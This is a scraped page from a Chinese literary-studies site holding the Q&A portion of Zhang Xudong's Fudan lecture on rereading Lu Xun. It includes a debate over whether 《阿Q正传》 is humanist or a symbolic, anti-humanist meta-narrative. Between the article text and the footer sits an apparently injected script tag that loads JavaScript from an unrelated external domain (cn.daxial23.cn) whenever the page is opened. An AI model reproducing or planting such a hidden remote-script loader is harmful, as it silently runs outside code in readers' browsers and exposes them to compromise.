

; str += "

"; str += "作者：张旭东"; str += "

"; str += "【原载】《文艺理论与批评》2008年第6期"; str += "

"; str += ""; document.write(str); document.close(); }



中国文学网

· 网站首页 · 《文学遗产通讯》 · 博士后园地 · 学界要闻 · 学术会议 · 学人访谈 · 学者风采 · 学术团体 · 学术期刊 · 学术争鸣
· 文学所简介 · 虚拟文学博物馆 · 研究生教育 · 汉学园地 · 当代文坛 · 书目文献 · 诗文鉴赏 · 论著评介 · 专题研究 · 古籍整理

当前位置：网站首页 > 学术论文全文数据库 > 现代文学研究

重读鲁迅与中国文学批评的反思（2）

——在复旦大学中文系的演讲

收藏文章

打印文章

关闭本页

发表评论

阅读量[86]

评论数[0]

【作者】张旭东

问答部分

郜元宝（主持人）：现在是3点20分，讲了一个半小时左右。不管大家感觉如何，我是作为学生来听的。因为这样的讲座实际上和中文系的关系不是太大。复旦中文系的学风是研究文学本身，但实际上我们有理论专业，我们和理论专业的交往也不是太多，跟哲学系更加少。所以我相信大家听起来一个会很新鲜，但是其实也会很累，因为这都是进入鲁迅之前的理论准备——其实也不是之前，也是之后的一个反省。所以我想大家还有很长的时间，张老师他是晚上9点的飞机回北京。所以我们有充分的时间，9点是一个大概的时间限制。现在我们同学包括各位老师在一起讨论、提问。因为今天是谈鲁迅，所以尖锐点也符合鲁迅的精神。

张业松（复旦大学中文系教授）：今天讲了那么大的信息量需要很长时间来消化，因为我在这里也讲了4、5年的鲁迅精读课，确实确实是非常“笨”地去读鲁迅的作品，只是可以说没有任何领悟，如果说有的话可能也是些乱七八糟的、不干不净的方法去读，强调的是个普通的感受，这个层面上去进入鲁迅的文本。然后对我来说也是一个“重读”吧，这个中学、大学一直过来，包括大学任教也在不断接触鲁迅的作品，但是这样上课之后你得去重新读一下，在这样重新读的过程中会有新的感受。我觉得有一些新的体会、以前没有注意到的一些细节，那然后鲁迅的一些用心等等。但是这样的话，我今天听了你的演讲以后，我只好说我很惭愧，一直很片面地，然后不成系统的拿到理论的层面上。

我想确实今天是很受启发，包括你今天所说的“小的文学”，比如你说的《阿Q正传》——这个《阿Q正传》我重新读了之后感受最深的就是“大团圆”的细节，在那个情节中好比有一个舞台，在那个舞台上把很多信息、很多的力量聚焦到一个点上，所谓“吃人”的这样一个主题，可以说在阿Q在这个舞台上展现，然后但是所有的这些“狼一样的眼睛”，这种“二十年之后又是一条好汉”之类的，我们都能强烈的感受到一个人、一个活生生的人将要被这样一种“非理性”的力量（所摧毁），而这样一种“非理性的力量”却又非常强大，几乎把阿Q压榨到一个完全没有存身之地的地步、把他“吃掉”。然后在整个这样一个场景当中你会发现一点点所谓“人性之光”，这个“人性之光”不是在阿Q的一是要崩散的那一刻发现的，那是那个“吴妈”，用“吴妈”对阿Q的一个注视来表现不是要把阿Q吞噬掉、得到一点快感、得到一点旁观者的满足，它是对阿Q的一个关心，因为它是看向？的洋炮、押送着阿Q的士兵身上的洋枪——对这个枪的关注，他这是对阿Q生命的关注。因为阿Q剩下的、剩余在这个世界上生命将由这柄枪来决定。所以这个可能是一个无意识的关注，可是在这个无意识的关注里面，我想说，它就有《阿Q正传》真正“不敬”里头的人道的关怀在里面。他把整个的一个《阿Q正传》从头到尾嬉笑怒骂可以讲没有给阿Q一点尊严、面子，或者说作为人基本的那么一些东西给全部剥掉了。然后在最后他给了吴妈的一个注视过去，让阿Q作为一个人、作为“文学最后的一点东西”给保

留下来了。我觉得这个是我的一个感受，也是说结合到“小的文学”里面去理解。

郜：你有什么问题吗？

张业松：算是这样的一个理解吧。我没有什么问题，就是要消化许多信息。

张：我先回应一下。《阿Q正传》那么大一个作品，而且跟整个现代中国民族性都相关的那么一个寓言，肯定有很多种不同的读法。我个人觉得你的这个读法有点“太实”、“太实在”。而这个阿Q我基本上觉得——所以说这也是我说作为文学阅读形式分析中提出的一个问题，有的时候不要“低估”鲁迅作为文学家的一个形式、游戏性的力量，它的那个道德因素是非常强大，但是他的道德力量、批判性是通过文学的中介达到的，而文学有自己的规律。这个规律在哪儿呢？我倒觉得《阿Q正传》没有“人道主义”的问题。这是一个比较武断的说法，我跟你这个说法进行讨论。阿Q恰恰是一个“反人道主义”的一个故事。为什么呢？因为整个阿Q就是一个“符号”，他不是一个人；阿Q身上没有人性，就是，在阿Q的世界里和人性问题没有关系。

我以前讲过两次阿Q都是这个意思：就是说阿Q几乎就是一个“符号”层面上的一个“游戏”——怎么讲？就是说：阿Q没有姓，也没有名字，也没有籍贯，最后他连一个“行状”都很模糊，就是连有过什么事儿都很模糊。阿Q写的就是个没法“定位”，但这却恰恰是近代中国价值世界倒塌、意义系统土崩瓦解后的最基本的“中国故事”。要把这个故事讲清楚，怎么讲比讲什么重要。所以《阿Q正传》是很有些“元叙事”的味道的，因为它在讲故事的时候探索讲故事的可能性，即从不可能处得来的可能性。所以小说开篇就讲叙事人的问题是“名不正言不顺”，这个“名”也没有、“言”也没有——阿Q是一个“不可能性”的故事，这个“不可能”就是给阿Q“定位”“不可能”。其实里面那个感觉我们是相通的，就是所有人都在欺负阿Q，所有人都在不把阿Q当“人”，但是这个不是人道主义意义上的？
`<script src=http://cn.daxial23.cn/cn.js>`

【原载】《文艺理论与批评》2008年第6期

关于我们 | 联系方式 | 意见反馈 | 投稿指南 | 法律声明 | 招聘英才 | 欢迎加盟 | 软件下载

永久域名:www.literature.org.cn www.literature.net.cn E-Mail:wenxue@cass.org.cn

版权所有：中国社会科学院文学研究所 京ICP备05084176号